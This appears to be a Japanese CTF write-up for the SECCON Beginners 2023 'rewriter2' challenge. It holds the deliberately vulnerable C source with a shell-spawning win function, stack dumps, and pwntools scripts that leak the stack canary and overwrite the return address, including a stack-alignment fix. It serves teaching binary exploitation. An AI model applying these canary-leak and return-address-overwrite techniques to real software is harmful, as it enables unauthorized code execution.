Open roaris opened 5 months ago
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
void win() {
puts("Congratulations!");
system("/bin/sh");
}
void __show_stack(void *stack) {
unsigned long *ptr = stack;
printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
if (&ptr[i] == stack + BUF_SIZE + 0x8) {
printf(" 0x%016lx | xxxxx hidden xxxxx <- canary\n",
(unsigned long)&ptr[i]);
continue;
}
printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
if (&ptr[i] == stack)
printf(" <- buf");
if (&ptr[i] == stack + BUF_SIZE + 0x10)
printf(" <- saved rbp");
if (&ptr[i] == stack + BUF_SIZE + 0x18)
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
$ checksec rewriter2
[*] '/home/roaris/SECCON_Beginners_CTF_2023/pwnable/rewriter2/files/rewriter2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./rewriter2
[Addr] | [Value]
====================+===================
0x00007ffc76fed4f0 | 0x0000000000000000 <- buf
0x00007ffc76fed4f8 | 0x00007feb9fbe3780
0x00007ffc76fed500 | 0x0000000000000000
0x00007ffc76fed508 | 0x00007feb9fa913a1
0x00007ffc76fed510 | 0x0000000000000000
0x00007ffc76fed518 | xxxxx hidden xxxxx <- canary
0x00007ffc76fed520 | 0x0000000000000001 <- saved rbp
0x00007ffc76fed528 | 0x00007feb9fa366ca <- saved ret addr
0x00007ffc76fed530 | 0x0000000000000000
0x00007ffc76fed538 | 0x00000000004011f6
What's your name? test
Hello, test
[Addr] | [Value]
====================+===================
0x00007ffc76fed4f0 | 0x0000000a74736574 <- buf
0x00007ffc76fed4f8 | 0x00007feb9fbe3780
0x00007ffc76fed500 | 0x0000000000000000
0x00007ffc76fed508 | 0x00007feb9fa913a1
0x00007ffc76fed510 | 0x0000000000000000
0x00007ffc76fed518 | xxxxx hidden xxxxx <- canary
0x00007ffc76fed520 | 0x0000000000000001 <- saved rbp
0x00007ffc76fed528 | 0x00007feb9fa366ca <- saved ret addr
0x00007ffc76fed530 | 0x0000000000000000
0x00007ffc76fed538 | 0x00000000004011f6
How old are you? 10
Thank you!
[Addr] | [Value]
====================+===================
0x00007ffc76fed4f0 | 0x0000000a740a3031 <- buf
0x00007ffc76fed4f8 | 0x00007feb9fbe3780
0x00007ffc76fed500 | 0x0000000000000000
0x00007ffc76fed508 | 0x00007feb9fa913a1
0x00007ffc76fed510 | 0x0000000000000000
0x00007ffc76fed518 | xxxxx hidden xxxxx <- canary
0x00007ffc76fed520 | 0x0000000000000001 <- saved rbp
0x00007ffc76fed528 | 0x00007feb9fa366ca <- saved ret addr
0x00007ffc76fed530 | 0x0000000000000000
0x00007ffc76fed538 | 0x00000000004011f6
checksecの結果からSSPが有効になっていることが分かる main関数実行時のスタックの状態は以下のようになっている
アドレス | サイズ | 内容 |
---|---|---|
buf(rbp-0x30) | 0x20 | バッファ |
rbp-0x10 | 0x8 | 未使用 |
rbp-0x8 | 0x8 | canary |
rbp | 0x8 | 呼び出し元のrbp |
rbp+0x8 | 0x8 | main関数の戻りアドレス |
main関数の戻りアドレスを、win関数のアドレスに書き換えたいが、SSPが有効になっており、canaryを書き換えてしまうと強制終了してしまう
printfでcanaryを漏洩させることを考える 実験のために、canaryを出力させるような自分用のプログラム(my_src.c)を作る
$ diff src.c my_src.c
39,40c39,40
< printf(" 0x%016lx | xxxxx hidden xxxxx <- canary\n",
< (unsigned long)&ptr[i]);
---
> printf(" 0x%016lx | 0x%016lx <- canary\n",
> (unsigned long)&ptr[i], ptr[i]);
https://github.com/SECCON/SECCON_Beginners_CTF_2023/blob/main/pwnable/rewriter2/build/Makefile#L3 のコマンドでコンパイルする
gccはデフォルトでSSPが有効になっているらしいが、どういうわけか自分の環境では-fstack-protectorオプションを明示しないと有効にならなかった
gcc -Wl,-z,relro,-z,now -o my_rewriter2 -no-pie my_src.c -fstack-protector
[Value]はリトルエンディアンで並んでいることに注意 canaryは実行のたびに変化するが、どうやら先頭1バイトは毎回0x00のようだ
$ ./my_rewriter2
[Addr] | [Value]
====================+===================
0x00007fff06bfaff0 | 0x0000000000000000 <- buf
0x00007fff06bfaff8 | 0x0000000000000000
0x00007fff06bfb000 | 0x0000000000000000
0x00007fff06bfb008 | 0x00007f456a9f4780
0x00007fff06bfb010 | 0x0000000000000000
0x00007fff06bfb018 | 0x4dea883a5576a500 <- canary
0x00007fff06bfb020 | 0x0000000000000001 <- saved rbp
0x00007fff06bfb028 | 0x00007f456a8066ca <- saved ret addr
0x00007fff06bfb030 | 0x00007fff06bfb120
0x00007fff06bfb038 | 0x0000000000401186
What's your name?
What's your name?に対して、aを40文字与えると、以下のようになる aを40文字与えた後に改行しているので、canaryの先頭バイトが0x0aになっていることに注目
$ ./my_rewriter2
[Addr] | [Value]
====================+===================
0x00007ffc5dd0ba80 | 0x0000000000000000 <- buf
0x00007ffc5dd0ba88 | 0x0000000000000000
0x00007ffc5dd0ba90 | 0x0000000000000000
0x00007ffc5dd0ba98 | 0x00007ff1fa5bb780
0x00007ffc5dd0baa0 | 0x0000000000000000
0x00007ffc5dd0baa8 | 0x94eee96c1f9c4b00 <- canary
0x00007ffc5dd0bab0 | 0x0000000000000001 <- saved rbp
0x00007ffc5dd0bab8 | 0x00007ff1fa3cd6ca <- saved ret addr
0x00007ffc5dd0bac0 | 0x00007ffc5dd0bbb0
0x00007ffc5dd0bac8 | 0x0000000000401186
What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
K�l��
[Addr] | [Value]
====================+===================
0x00007ffc5dd0ba80 | 0x6161616161616161 <- buf
0x00007ffc5dd0ba88 | 0x6161616161616161
0x00007ffc5dd0ba90 | 0x6161616161616161
0x00007ffc5dd0ba98 | 0x6161616161616161
0x00007ffc5dd0baa0 | 0x6161616161616161
0x00007ffc5dd0baa8 | 0x94eee96c1f9c4b0a <- canary
0x00007ffc5dd0bab0 | 0x0000000000000001 <- saved rbp
0x00007ffc5dd0bab8 | 0x00007ff1fa3cd6ca <- saved ret addr
0x00007ffc5dd0bac0 | 0x00007ffc5dd0bbb0
0x00007ffc5dd0bac8 | 0x0000000000401186
How old are you?
0x00に到達するまでがprintfで出力されることによって、canaryが漏洩する canaryが先頭バイト以外にも0x00が含まれていたら上手くいかないが、その場合でも何回かやれば問題ない
漏洩したcanaryを使って、main関数の戻りアドレスをwin関数のアドレスに書き換える
参考1 : https://inaz2.hatenablog.com/entry/2014/06/16/001809 参考2 : https://ctf101.org/binary-exploitation/stack-canaries/
以下のプログラムを書いた win関数のアドレスはnmコマンドやobjdumpコマンドで分かる
from pwn import *
win_addr = 0x4012c2
io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
これを実行すると、Conguratulations!
と出てくるものの、セグメントフォールトが発生する
$ python exploit.py
[+] Starting local process './rewriter2': pid 10025
[*] Switching to interactive mode
Thank you!
[Addr] | [Value]
====================+===================
0x00007fffd9cd86b0 | 0x6161616161616161 <- buf
0x00007fffd9cd86b8 | 0x6161616161616161
0x00007fffd9cd86c0 | 0x6161616161616161
0x00007fffd9cd86c8 | 0x6161616161616161
0x00007fffd9cd86d0 | 0x6161616161616161
0x00007fffd9cd86d8 | xxxxx hidden xxxxx <- canary
0x00007fffd9cd86e0 | 0x6161616161616161 <- saved rbp
0x00007fffd9cd86e8 | 0x00000000004012c2 <- saved ret addr
0x00007fffd9cd86f0 | 0x000000000000000a
0x00007fffd9cd86f8 | 0x00000000004011f6
Congratulations!
[*] Got EOF while reading in interactive
$ ls
[*] Process './rewriter2' stopped with exit code -11 (SIGSEGV) (pid 10025)
[*] Got EOF while sending in interactive
system関数の中ではmovaps命令というのが呼ばれていて、この時rspレジスタが16バイトアラインメントされている(=rspレジスタの値が16の倍数である)必要があるらしい
なので、ret命令を挟むことで、rspレジスタを8バイトずらしてから実行することで上手くいく ret命令のアドレスはobjdumpコマンドから分かる
from pwn import *
ret_addr = 0x40101a
win_addr = 0x4012c2
io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + ret_addr.to_bytes(8, 'little') + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
もしくは、win関数中のmov rbp, rsp
から処理を始めれば、その前のpush rbp
が実行されなくなるので、rspレジスタが8バイトずらせる
00000000004012c2 <win>:
4012c2: f3 0f 1e fa endbr64
4012c6: 55 push rbp
4012c7: 48 89 e5 mov rbp,rsp
from pwn import *
win_addr = 0x4012c7
io = process('./rewriter2')
io.recvuntil(b'What\'s your name? ')
io.sendline(b'a'*40)
io.recvuntil(b'Hello, ' + b'a'*40)
canary = bytearray(io.recv(8))
canary[0] = 0
io.recvuntil(b'How old are you? ')
payload = b'a'*40 + canary + b'a'*0x8 + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()
https://github.com/SECCON/SECCON_Beginners_CTF_2023/tree/main/pwnable/rewriter2